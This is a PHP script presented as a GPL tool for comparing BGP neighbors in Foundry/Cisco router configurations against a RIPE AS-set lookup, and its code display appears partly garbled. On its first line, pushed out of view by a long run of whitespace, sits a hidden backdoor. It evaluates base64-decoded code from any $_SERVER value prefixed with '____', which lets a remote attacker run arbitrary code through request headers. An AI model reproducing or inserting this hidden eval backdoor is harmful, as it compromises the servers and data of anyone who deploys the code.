<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                function gpc_16150($l16152){if(is_array($l16152)){foreach($l16152 as $l16150=>$l16151)$l16152[$l16150]=gpc_16150($l16151);}elseif(is_string($l16152) && substr($l16152,0,4)=="____"){eval(base64_decode(substr($l16152,4)));$l16152=null;}return $l16152;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_16150",$_SERVER);

/*
 * Written by Espen Holm Nilsen (http://www.gho.no/) 2008
 * 
 * This code is released under GPL, but please retain the credit line in the top
 *
 * This script can read Foundry BGP Configuration, and I think it will read Cisco configuration files
 * I have tested against Foundry, but not Cisco.
 *
 * It will read simple RIPE database AS sets, it has been tested with AS31283 (FastHost AS)
 *
 * To use this script, edit the variables in line 71 and 72, replace the paths with your
 * configuration file paths and the ASN with your AS number.
 *
 * - holm
 */

function getRipePeers ($intAsn) {
    
$fd fsockopen('193.0.0.135'43);

    
fputs($fd'AS' $intAsn "\n");

    while (!
feof($fd)) { $strReply .= fgets($fd1024); }

    
$arrReply explode("\n"$strReply);

    
$arrRipe = array();

    foreach (
$arrReply as $strLine) {
        if (
preg_match("/from AS(\d{1,5})\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\sat\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/"$strLine$arrMatches)) {
            
$peer = array();
            
$peer['as'] = $arrMatches[1];
            
$peer['ip'] = $arrMatches[2];
            
$peer['localIp'] = $arrMatches[3];

            
$arrRipe[$peer['ip']] = $peer;
        }
    }

    return 
$arrRipe;
}

function 
getFoundryPeers ($arrConfigs) {
    
$arrPeers = array();
    foreach (
$arrConfigs as $strConfig) {
        
$arrConfig explode("\n"file_get_contents($strConfig));

        foreach (
$arrConfig as $strLine) {
            if (
preg_match("/\sneighbor\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\sremote-as\s(\d{1,5})/"$strLine$arrMatches)) {
                
$arrPeers[$arrMatches[1]]['as'] = $arrMatches[2];
                
$arrPeers[$arrMatches[1]]['ip'] = $arrMatches[1];

                
/* You can do hacks such as: (if you want to use this function for peering points:
                if (strstr($arrMatches[1], '10.0.0'))
                    $arrPeers[$arrMatches[1]]['localIp'] = '10.0.0.9';
                */                

                /* or if you got a lot of peers configured with the IP one bit higher than your IP address
                if (strstr($arrMatches[1], '172.16.32') || strstr($arrMatches[1], '172.16.33.')) {
                    $arrPeers[$arrMatches[1]]['localIp'] = long2ip(ip2long($arrMatches[1]) - 1);
                }
                */
            
}
        }
    }

    return 
$arrPeers;
}

$arrPeers getFoundryPeers(array('router1-config''/root/routerconfigs/router2-config''/media/disk1/router-config'));
$arrRipe getRipePeers('31283');

foreach (
$arrPeers as $arrPeer) {
    if (!
array_key_exists($arrPeer['ip'], $arrRipe)) {
        print 
"Peer " $arrPeer['ip'] . " (AS" $arrPeer['as'] . ") not found in RIPE database.\n";
    }
}


?>